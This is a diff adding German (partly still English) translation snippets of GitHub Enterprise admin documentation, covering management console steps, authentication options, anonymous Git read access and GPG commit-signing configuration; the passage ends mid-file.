diff --git a/translations/de-DE/data/reusables/enterprise_site_admin_settings/dormancy-threshold.md b/translations/de-DE/data/reusables/enterprise_site_admin_settings/dormancy-threshold.md
new file mode 100644
index 0000000000..4ab76aace6
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_site_admin_settings/dormancy-threshold.md
@@ -0,0 +1 @@
+The dormancy threshold is the length of time a user must be inactive to be considered dormant. The default dormancy threshold is 90 days, however you can customize the dormancy threshold for {% data variables.location.product_location %}.
diff --git a/translations/de-DE/data/reusables/enterprise_site_admin_settings/email-settings.md b/translations/de-DE/data/reusables/enterprise_site_admin_settings/email-settings.md
new file mode 100644
index 0000000000..f22bf739d3
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_site_admin_settings/email-settings.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: 5f5f268f2cee222ff6796bfe935582747a0c9241
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147060985"
+---
+{% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.management-console %}
+2. Klicke oben auf der Seite auf **Einstellungen**.
+![Registerkarte "Einstellungen"](/assets/images/enterprise/management-console/settings-tab.png)
+3. Klicke in der linken Randleiste auf **E-Mail**.
+![Registerkarte „E-Mail“](/assets/images/enterprise/management-console/email-sidebar.png)
diff --git a/translations/de-DE/data/reusables/enterprise_site_admin_settings/git-lfs-toggle.md b/translations/de-DE/data/reusables/enterprise_site_admin_settings/git-lfs-toggle.md
new file mode 100644
index 0000000000..9f4749d05c
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_site_admin_settings/git-lfs-toggle.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 87fa60e21ee7c39f45b208c4fe1b6d7ab7e38962
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145102192"
+---
+1. Klicke unter "{% data variables.large_files.product_name_short %}" auf **Aktivieren** oder **Deaktivieren**.
+![Schaltfläche „Deaktivieren“](/assets/images/enterprise/management-console/git-lfs-toggle.png)
diff --git a/translations/de-DE/data/reusables/enterprise_site_admin_settings/invite-user-reset-link.md b/translations/de-DE/data/reusables/enterprise_site_admin_settings/invite-user-reset-link.md
new file mode 100644
index 0000000000..1290b2219b
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_site_admin_settings/invite-user-reset-link.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: d99999d4186d4e67b7d8a00897bdf0b7bf54bfb3
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145067737"
+---
+1. Gib den Benutzernamen und die E-Mail-Adresse für jedes der Benutzerkonten ein, die du erstellen möchtest, und klicke dann auf **Link zum Zurücksetzen des Kennworts generieren**.
+![Schaltfläche zum Generieren eines Links zum Zurücksetzen des Kennworts](/assets/images/enterprise/site-admin-settings/generate-password-reset-link-button.png)
diff --git a/translations/de-DE/data/reusables/enterprise_site_admin_settings/invite-user-sidebar-tab.md b/translations/de-DE/data/reusables/enterprise_site_admin_settings/invite-user-sidebar-tab.md
new file mode 100644
index 0000000000..6c5e653f0c
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_site_admin_settings/invite-user-sidebar-tab.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: f3cc163880f546985916740ca013a1bdf9ae91ea
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147882127"
+---
+1. Klicke auf der linken Randleiste auf **Benutzer einladen**.
+![Registerkarte „Benutzer einladen“ in der Websiteadministratorkonsole](/assets/images/enterprise/site-admin-settings/invite-user.png)
diff --git a/translations/de-DE/data/reusables/enterprise_site_admin_settings/list-of-repos-with-anonymous-git-read-access-enabled.md b/translations/de-DE/data/reusables/enterprise_site_admin_settings/list-of-repos-with-anonymous-git-read-access-enabled.md
new file mode 100644
index 0000000000..1741300c67
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_site_admin_settings/list-of-repos-with-anonymous-git-read-access-enabled.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 0ca20a5d3df308b688e34b8d4d0e997230ff4a9c
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145067732"
+---
+Filtere zum Anzeigen der Repositorys mit aktiviertem anonymem Git-Lesezugriff die Liste mit den Repositorys im Websiteadministrator-Dashboard.
diff --git a/translations/de-DE/data/reusables/enterprise_site_admin_settings/maintenance-mode-status.md b/translations/de-DE/data/reusables/enterprise_site_admin_settings/maintenance-mode-status.md
new file mode 100644
index 0000000000..54c8475601
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_site_admin_settings/maintenance-mode-status.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: 90c64f948041aa7df89a879ed5764e235d474443
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "146332152"
+---
+{% note %}
+
+**Hinweis**: Wenn sich die Appliance im Wartungsmodus befindet, gibt die URL `https://HOSTNAME/status` den Statuscode `503` (Dienst nicht verfügbar) zurück. Weitere Informationen findest du unter [Aktivieren und Planen des Wartungsmodus](/enterprise/admin/guides/installation/enabling-and-scheduling-maintenance-mode).
+
+{% endnote %}
diff --git a/translations/de-DE/data/reusables/enterprise_site_admin_settings/management-console.md b/translations/de-DE/data/reusables/enterprise_site_admin_settings/management-console.md
new file mode 100644
index 0000000000..d8edfb6562
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_site_admin_settings/management-console.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 895f2417d74e9ac2fe7589e8271bd1320658124e
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145067724"
+---
+1. Klicke auf der linken Seitenleiste auf **{% data variables.enterprise.management_console %}** .
+![Registerkarte {% data variables.enterprise.management_console %} auf der linken Seitenleiste](/assets/images/enterprise/management-console/management-console-tab.png)
diff --git a/translations/de-DE/data/reusables/enterprise_site_admin_settings/message-preview-save.md b/translations/de-DE/data/reusables/enterprise_site_admin_settings/message-preview-save.md
new file mode 100644
index 0000000000..6dab67063e
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_site_admin_settings/message-preview-save.md
@@ -0,0 +1,12 @@
+---
+ms.openlocfilehash: 4eb06e872fc3f126abdf34cfc18532e871f2616d
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145102175"
+---
+1. Wenn du optional eine Vorschau deiner Nachricht anzeigen möchtest, klicke auf **Vorschau**.
+  ![Schaltfläche zum Anzeigen einer Vorschau der Nachricht](/assets/images/enterprise/site-admin-settings/message-preview-button.png)
+1. Klicke auf **Änderungen speichern**.
+  ![Schaltfläche „Nachricht bearbeiten“](/assets/images/enterprise/site-admin-settings/message-save-changes-button.png)
diff --git a/translations/de-DE/data/reusables/enterprise_site_admin_settings/override-policy.md b/translations/de-DE/data/reusables/enterprise_site_admin_settings/override-policy.md
new file mode 100644
index 0000000000..9d2ea07b69
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_site_admin_settings/override-policy.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: 4e4a177f0f10e600b7e0b82ed38fc90fa2de5d54
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145067716"
+---
+{% tip %}
+
+**Hinweis**: Jedes Repository erbt automatisch die Standardeinstellungen von der Organisation oder dem Benutzer, der bzw. dem es gehört. Du kannst die Standardeinstellung nicht überschreiben, wenn die Repository-Inhaber die Einstellung für alle ihre Repositorys erzwungen haben.
+
+{% endtip %}
diff --git a/translations/de-DE/data/reusables/enterprise_site_admin_settings/packages-tab.md b/translations/de-DE/data/reusables/enterprise_site_admin_settings/packages-tab.md
new file mode 100644
index 0000000000..69577c5624
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_site_admin_settings/packages-tab.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: e332afe2a895c7a58a5db47a73375574e2dc5d40
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145102172"
+---
+1. Klicke auf der linken Randleiste auf **Pakete**.
+  ![Registerkarte „Pakete“ auf der Randleiste der Verwaltungskonsole](/assets/images/enterprise/site-admin-settings/management-console-packages-tab.png)
diff --git a/translations/de-DE/data/reusables/enterprise_site_admin_settings/pgp-key-env-variable.md b/translations/de-DE/data/reusables/enterprise_site_admin_settings/pgp-key-env-variable.md
new file mode 100644
index 0000000000..dd3f06fb6b
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_site_admin_settings/pgp-key-env-variable.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: 6cff9129bc98844ebcbcf3449cd5b5621559242c
+ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: "147710195"
+---
+1. Definiere den Schlüssel als Umgebungsvariable für {% data variables.product.product_name %}, und ersetze `<YOUR-KEY-ID>` durch die GPG-Schlüssel-ID.
+
+    ```bash{:copy}
+    ghe-config "secrets.gpgverify.web-signing-key" "$(gpg --export-secret-keys -a <YOUR-KEY-ID> | awk '{printf "%s\\n", $0}')"
+    ```
diff --git a/translations/de-DE/data/reusables/enterprise_site_admin_settings/pgp-key-no-passphrase.md b/translations/de-DE/data/reusables/enterprise_site_admin_settings/pgp-key-no-passphrase.md
new file mode 100644
index 0000000000..ac10f01be6
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_site_admin_settings/pgp-key-no-passphrase.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: c5f9dafdd0f7bfe400caa602a3a5ce61c6800c2f
+ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: "147785742"
+---
+    - Der PGP-Schlüssel kann **nicht** durch eine Passphrase geschützt werden.
diff --git a/translations/de-DE/data/reusables/enterprise_site_admin_settings/repository-search.md b/translations/de-DE/data/reusables/enterprise_site_admin_settings/repository-search.md
new file mode 100644
index 0000000000..0c77fb6081
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_site_admin_settings/repository-search.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: f29ec31be43da2a155a356c829f27e07e4efc560
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145067700"
+---
+1. Gib im Suchfeld den Namen des Repositorys ein, und klicke auf **Suchen**.
+![Suchfeld für die Websiteadministratoreinstellungen](/assets/images/enterprise/site-admin-settings/search-for-things.png)
diff --git a/translations/de-DE/data/reusables/enterprise_site_admin_settings/save-changes.md b/translations/de-DE/data/reusables/enterprise_site_admin_settings/save-changes.md
new file mode 100644
index 0000000000..57f1834656
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_site_admin_settings/save-changes.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 867e58428bcbbe3a062880697623f9c7b88a1905
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145102167"
+---
+1. Klicke unten auf der Seite auf **Änderungen speichern**.
+![Änderungen speichern](/assets/images/enterprise/site-admin-settings/save-changes-button.png)
diff --git a/translations/de-DE/data/reusables/enterprise_site_admin_settings/search-user-or-org.md b/translations/de-DE/data/reusables/enterprise_site_admin_settings/search-user-or-org.md
new file mode 100644
index 0000000000..3a76c66e44
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_site_admin_settings/search-user-or-org.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: ae3c4423fccf5833a6122a625e018da757449f96
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145067692"
+---
+1. Gib im Suchfeld den Namen des Benutzers oder der Organisation ein, und klicke auf **Suchen**.
+![Suchfeld für die Websiteadministratoreinstellungen](/assets/images/enterprise/site-admin-settings/search-for-things.png)
diff --git a/translations/de-DE/data/reusables/enterprise_site_admin_settings/search-user.md b/translations/de-DE/data/reusables/enterprise_site_admin_settings/search-user.md
new file mode 100644
index 0000000000..b8f9ce5a2a
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_site_admin_settings/search-user.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 5a9a69a8042d67b88bfdf1a35e64377675cf015d
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145102160"
+---
+1. Gib im Suchfeld den Namen des Benutzers ein, und klicke auf **Suchen**.
+![Suchfeld für die Websiteadministratoreinstellungen](/assets/images/enterprise/site-admin-settings/search-for-things.png)
diff --git a/translations/de-DE/data/reusables/enterprise_site_admin_settings/security-tab.md b/translations/de-DE/data/reusables/enterprise_site_admin_settings/security-tab.md
new file mode 100644
index 0000000000..e9eea92c99
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_site_admin_settings/security-tab.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 8b290db08229794c6bc71ff3a262752ea7dd1c1d
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145067684"
+---
+1. Klicke in der oberen rechte Ecke der Seite auf „{% octicon "shield" aria-label="The shield" %} **Sicherheit**“.
+![Registerkarte „Sicherheit“](/assets/images/enterprise/site-admin-settings/repo/repo-security-top-tab.png)
diff --git a/translations/de-DE/data/reusables/enterprise_site_admin_settings/sign-in.md b/translations/de-DE/data/reusables/enterprise_site_admin_settings/sign-in.md
new file mode 100644
index 0000000000..404565e28e
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_site_admin_settings/sign-in.md
@@ -0,0 +1 @@
+1. Sign in to {% data variables.location.product_location %} at `http(s)://HOSTNAME/login`.
diff --git a/translations/de-DE/data/reusables/enterprise_site_admin_settings/tls-downtime.md b/translations/de-DE/data/reusables/enterprise_site_admin_settings/tls-downtime.md
new file mode 100644
index 0000000000..06f181e152
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_site_admin_settings/tls-downtime.md
@@ -0,0 +1,5 @@
+{% warning %}
+
+**Warning:** Configuring TLS causes a small amount of downtime for {% data variables.location.product_location %}.
+
+{% endwarning %}
diff --git a/translations/de-DE/data/reusables/enterprise_site_admin_settings/update-commit-signing-service.md b/translations/de-DE/data/reusables/enterprise_site_admin_settings/update-commit-signing-service.md
new file mode 100644
index 0000000000..b1ffe0bbd2
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_site_admin_settings/update-commit-signing-service.md
@@ -0,0 +1,15 @@
+---
+ms.openlocfilehash: 08efc883c983edbb53fd63caae6ab5f7ee335afd
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147060287"
+---
+1. Aktualisiere die Einstellungen für den Commitsignierungsdienst von {% data variables.product.product_name %}.
+
+   ```bash{:copy}
+   sudo consul-template -once -template /etc/consul-templates/etc/nomad-jobs/gpgverify/gpgverify.hcl.ctmpl:/etc/nomad-jobs/gpgverify/gpgverify.hcl
+    
+   nomad job run /etc/nomad-jobs/gpgverify/gpgverify.hcl
+   ```
diff --git a/translations/de-DE/data/reusables/enterprise_site_admin_settings/wait-for-configuration-run.md b/translations/de-DE/data/reusables/enterprise_site_admin_settings/wait-for-configuration-run.md
new file mode 100644
index 0000000000..b570ce7fa8
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_site_admin_settings/wait-for-configuration-run.md
@@ -0,0 +1,11 @@
+---
+ms.openlocfilehash: fb5ac86ff842ceed419d6fbae01b5c51add9766c
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145067665"
+---
+1. Warten Sie auf den Abschluss der Konfigurationsausführung.
+
+   ![„Configuring your instance“ (Instanz konfigurieren)](/assets/images/enterprise/management-console/configuration-run.png)
diff --git a/translations/de-DE/data/reusables/enterprise_user_management/2fa_is_available.md b/translations/de-DE/data/reusables/enterprise_user_management/2fa_is_available.md
new file mode 100644
index 0000000000..cd3ec62a3c
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_user_management/2fa_is_available.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: b88abf92359e2985446454e66b4fbd7182557f0d
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145102147"
+---
+Bei Verwendung von LDAP oder integrierter Authentifizierung wird die Zwei-Faktor-Authentifizierung unterstützt. Organisationsadministratoren können festlegen, dass Mitglieder die Zwei-Faktor-Authentifizierung aktivieren müssen.
diff --git a/translations/de-DE/data/reusables/enterprise_user_management/alternatively-enable-external-authentication.md b/translations/de-DE/data/reusables/enterprise_user_management/alternatively-enable-external-authentication.md
new file mode 100644
index 0000000000..a8ccf8f70b
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_user_management/alternatively-enable-external-authentication.md
@@ -0,0 +1 @@
+Alternatively, you can configure external authentication for {% data variables.location.product_location %}. If you use external authentication, you must invite people to use your instance through your authentication provider. For more information, see "[About authentication for your enterprise](/admin/identity-and-access-management/managing-iam-for-your-enterprise/about-authentication-for-your-enterprise#external-authentication)."
diff --git a/translations/de-DE/data/reusables/enterprise_user_management/built-in-authentication-new-accounts.md b/translations/de-DE/data/reusables/enterprise_user_management/built-in-authentication-new-accounts.md
new file mode 100644
index 0000000000..d1c1d86a0d
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_user_management/built-in-authentication-new-accounts.md
@@ -0,0 +1 @@
+When you use built-in authentication for {% data variables.location.product_location %}, each person creates a personal account from an invitation or by signing up.
diff --git a/translations/de-DE/data/reusables/enterprise_user_management/built-in-authentication-option.md b/translations/de-DE/data/reusables/enterprise_user_management/built-in-authentication-option.md
new file mode 100644
index 0000000000..0ac6222256
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_user_management/built-in-authentication-option.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: c279ab7f9d2965fbe2ddc9dcd0047d3a0be0717a
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145067649"
+---
+Um optional Personen ohne Konto auf deinem externen Authentifizierungssystem mit integrierter Authentifizierung dien anmelden genehmigen zu können, wähle **Integrierte Authentifizierung zulassen** aus. Weitere Informationen findest du unter „[Zulassen der integrierten Authentifizierung für Benutzer außerhalb deines Anbieters](/admin/identity-and-access-management/managing-iam-for-your-enterprise/allowing-built-in-authentication-for-users-outside-your-provider)“.
diff --git a/translations/de-DE/data/reusables/enterprise_user_management/built-in-authentication.md b/translations/de-DE/data/reusables/enterprise_user_management/built-in-authentication.md
new file mode 100644
index 0000000000..49151a385f
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_user_management/built-in-authentication.md
@@ -0,0 +1 @@
+If you want to allow authentication for some people who don't have an account on your external authentication provider, you can allow fallback authentication to local accounts on {% data variables.location.product_location %}. For more information, see "[Allowing built-in authentication for users outside your provider](/admin/identity-and-access-management/managing-iam-for-your-enterprise/allowing-built-in-authentication-for-users-outside-your-provider)."
diff --git a/translations/de-DE/data/reusables/enterprise_user_management/consider-usernames-for-external-authentication.md b/translations/de-DE/data/reusables/enterprise_user_management/consider-usernames-for-external-authentication.md
new file mode 100644
index 0000000000..c52e1e5433
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_user_management/consider-usernames-for-external-authentication.md
@@ -0,0 +1 @@
+{% data variables.product.product_name %} normalizes a value from your {% ifversion ghec or ghae %}IdP{% elsif ghes %}external authentication provider{% endif %} to determine the username for each new personal account {% ifversion ghae %}on {% data variables.product.product_name %}{% elsif ghec %}in your enterprise on {% data variables.location.product_location %}{% elsif ghes %}on {% data variables.location.product_location %}{% endif %}.
diff --git a/translations/de-DE/data/reusables/enterprise_user_management/disclaimer-for-git-read-access.md b/translations/de-DE/data/reusables/enterprise_user_management/disclaimer-for-git-read-access.md
new file mode 100644
index 0000000000..7e914e8766
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_user_management/disclaimer-for-git-read-access.md
@@ -0,0 +1,9 @@
+{% warning %}
+
+**Warnings:**
+
+- The Git protocol is unauthenticated and unencrypted. An attacker could intercept repository data transferred over connections using this protocol.
+- If you enable anonymous Git read access, you're responsible for all access and use of the feature. {% data variables.product.company_short %} is not responsible for any unintended access, security risks, or misuse of the feature.
+- You may not use this feature to violate your license from {% data variables.product.company_short %}, including the limit on the number of user licenses for {% data variables.location.product_location %}.
+
+{% endwarning %}
diff --git a/translations/de-DE/data/reusables/enterprise_user_management/exceptions-for-enabling-anonymous-git-read-access.md b/translations/de-DE/data/reusables/enterprise_user_management/exceptions-for-enabling-anonymous-git-read-access.md
new file mode 100644
index 0000000000..0e3634d858
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_user_management/exceptions-for-enabling-anonymous-git-read-access.md
@@ -0,0 +1,16 @@
+---
+ms.openlocfilehash: 625b0ed6920a4f5f1192583b214983b09427734e
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145067641"
+---
+{% note %}
+
+**Hinweise:**
+- Es ist nicht möglich, den Git-Lesezugriff für geforkte Repositorys zu ändern, da sie standardmäßig die Zugriffseinstellungen des Root-Repositorys übernehmen.
+- Wenn ein öffentliches Repository privat wird, wird der anonyme Git-Lesezugriff automatisch für dieses Repository und dessen Forks deaktiviert.
+- Wenn ein Repository mit anonymer Authentifizierung {% data variables.large_files.product_name_short %}-Objekte enthält, kann es die {% data variables.large_files.product_name_short %}-Objekte nicht herunterladen, da für sie weiterhin eine Authentifizierung erforderlich ist. Es wird dringend empfohlen, den anonymen Git-Lesezugriff für ein Repository mit {% data variables.large_files.product_name_short %}-Objekten nicht zu aktivieren.
+
+{% endnote %}
diff --git a/translations/de-DE/data/reusables/enterprise_user_management/external_auth_disables_2fa.md b/translations/de-DE/data/reusables/enterprise_user_management/external_auth_disables_2fa.md
new file mode 100644
index 0000000000..5240f73ba6
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_user_management/external_auth_disables_2fa.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 8892790c359353b634712895ee217b84965db88c
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "146332048"
+---
+Bei Verwendung von SAML oder CAS wird die Zwei-Faktor-Authentifizierung auf der {% data variables.product.prodname_ghe_server %}-Appliance weder unterstützt noch verwaltet, jedoch möglicherweise vom externen Authentifizierungsanbieter unterstützt. Die Erzwingung der Zwei-Faktor-Authentifizierung für Organisationen ist nicht verfügbar. Weitere Informationen zum Erzwingen der zweistufigen Authentifizierung für Organisationen findest du unter [Anfordern von zweistufiger Authentifizierung in deiner Organisation](/enterprise/user/articles/requiring-two-factor-authentication-in-your-organization/).
diff --git a/translations/de-DE/data/reusables/enterprise_user_management/ldap-sync-nested-teams.md b/translations/de-DE/data/reusables/enterprise_user_management/ldap-sync-nested-teams.md
new file mode 100644
index 0000000000..0f20dbce62
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_user_management/ldap-sync-nested-teams.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: b27c4a1785969007a6695d4ab23c88ca604bcefb
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "146332032"
+---
+{% ifversion ghes %} Im Rahmen der Optimierungskonfiguration wird LDAP Sync deine geschachtelte Teamstruktur nicht übertragen. Um unter- und übergeordnete Teambeziehungen zu erstellen, musst Du die verschachtelte Teamstruktur manuell neu erstellen und mit der entsprechenden LDAP-Gruppe synchronisieren. Weitere Informationen findest du unter [Erstellen von Teams](/enterprise/admin/guides/user-management/creating-teams/#creating-teams-with-ldap-sync-enabled). {% endif %}
diff --git a/translations/de-DE/data/reusables/enterprise_user_management/manage-global-webhooks-api.md b/translations/de-DE/data/reusables/enterprise_user_management/manage-global-webhooks-api.md
new file mode 100644
index 0000000000..9062def692
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_user_management/manage-global-webhooks-api.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: d15e36d3932c7b6513283c7d718326131dd31ac9
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145102127"
+---
+Du kannst auch {% data variables.product.prodname_enterprise_api %} verwenden, um globale Webhooks zu verwalten. Eine vollständige Liste der Aktionen findest du unter [Globale Webhooks](/rest/reference/enterprise-admin#global-webhooks).
diff --git a/translations/de-DE/data/reusables/enterprise_user_management/two_factor_auth_header.md b/translations/de-DE/data/reusables/enterprise_user_management/two_factor_auth_header.md
new file mode 100644
index 0000000000..0ae033a5b4
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_user_management/two_factor_auth_header.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: a9e023ab671f0ff614c4bb653d90cb0b83292c75
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145067620"
+---
+### Zweistufige Authentifizierung
diff --git a/translations/de-DE/data/reusables/enterprise_user_management/unauthenticated-sign-ups.md b/translations/de-DE/data/reusables/enterprise_user_management/unauthenticated-sign-ups.md
new file mode 100644
index 0000000000..0bdc07d165
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_user_management/unauthenticated-sign-ups.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 4cc8e477fee9d08b044135315ff29aff9193f683
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145102124"
+---
+Standardmäßig können Personen, die auf deine Instanz zugreifen können, während sie nicht authentifiziert sind, ein neues persönliches Konto in deiner Instanz erstellen.
diff --git a/translations/de-DE/data/reusables/feature-preview/feature-preview-setting.md b/translations/de-DE/data/reusables/feature-preview/feature-preview-setting.md
new file mode 100644
index 0000000000..c64e8d5578
--- /dev/null
+++ b/translations/de-DE/data/reusables/feature-preview/feature-preview-setting.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: dabad0ec0fcd65fabf5c0d0e44ef26e75f9a129f
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145102123"
+---
+1. Klicke in der oberen rechten Ecke einer beliebigen Seite auf dein Profilfoto und anschließend auf **Featurevorschau**.
+  ![Schaltfläche „Featurevorschau“](/assets/images/help/settings/feature-preview-button.png)
diff --git a/translations/de-DE/data/reusables/files/add-file.md b/translations/de-DE/data/reusables/files/add-file.md
new file mode 100644
index 0000000000..0b72d12ca3
--- /dev/null
+++ b/translations/de-DE/data/reusables/files/add-file.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: cfa9911313c25c83dbaa6e7f2db2ad2901ba0b32
